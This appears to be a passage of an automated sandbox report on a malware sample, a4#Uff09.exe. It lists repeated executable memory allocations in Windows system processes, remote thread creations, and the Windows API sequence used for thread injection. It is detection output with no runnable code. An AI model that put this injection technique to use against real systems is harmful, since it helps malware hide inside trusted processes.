                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 920000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: A20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 160000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 180000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: CA0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 2F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: B10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: A50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 240000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: A40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: B40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: 80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 420000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 9F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: B20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: 8850000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: C40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 930000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: A30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 170000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 190000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: CB0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 300000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: B20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: A60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 250000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: A50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: B50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: 90000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 430000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 90000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: A00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: B30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: 8860000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: C50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 940000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: A40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 90000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 180000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: CC0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 310000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: B30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: A70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 260000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: A60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: B60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 440000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: A10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: B40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: 8880000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: C60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 950000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: A50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 100000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 190000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: CD0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 320000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: B40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: A80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 270000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: A70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: B70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 450000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: A20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: B50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: EF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: C70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 960000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: A60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 9F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 110000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: CE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 330000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: B50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: A90000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 280000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 2F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: A80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: B80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 460000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: A30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: B60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\explorer.exe base: F10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: C80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: D50000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 970000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: F80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: A70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: A00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 120000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: 1D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: CF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 340000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: B60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\conhost.exe base: AA0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 290000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: 300000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: E60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: A90000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: B90000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\dwm.exe base: D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\sihost.exe base: 470000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\svchost.exe base: A40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: B70000 protect: page execute and read and writeJump to behavior
                Contains functionality to inject threads in other processes
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029DCC92 OpenProcess,GetLastError,GetVersionExA,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,OpenProcess,AdjustTokenPrivileges,CloseHandle,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,RtlAllocateHeap,GetTokenInformation,LookupAccountSidA,lstrcmpiA,lstrcmpiA,lstrcmpiA,CreateMutexA,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,VirtualAllocEx,lstrlen,WriteProcessMemory,CreateRemoteThread,FindCloseChangeNotification,CloseHandle,GetProcessHeap,HeapFree,0_2_029DCC92
                Creates a thread in another existing process (thread injection)
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 25D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 25E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1610000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1620000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 15F0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1640000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 460000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 470000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2590000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 25E0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2EC0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 3010000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 15C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 15D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2840000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2850000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 6A0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 6B0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2D30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2D80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2B80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2BD0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: CF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: D00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2C30000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2C80000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1430000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2F20000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1190000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1230000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 21C0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2310000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2AF0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2B00000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 500000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 520000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 6D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 830000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2430000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 2440000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1580000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 15D0000Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeThread created: unknown EIP: 1360000Jump to behavior
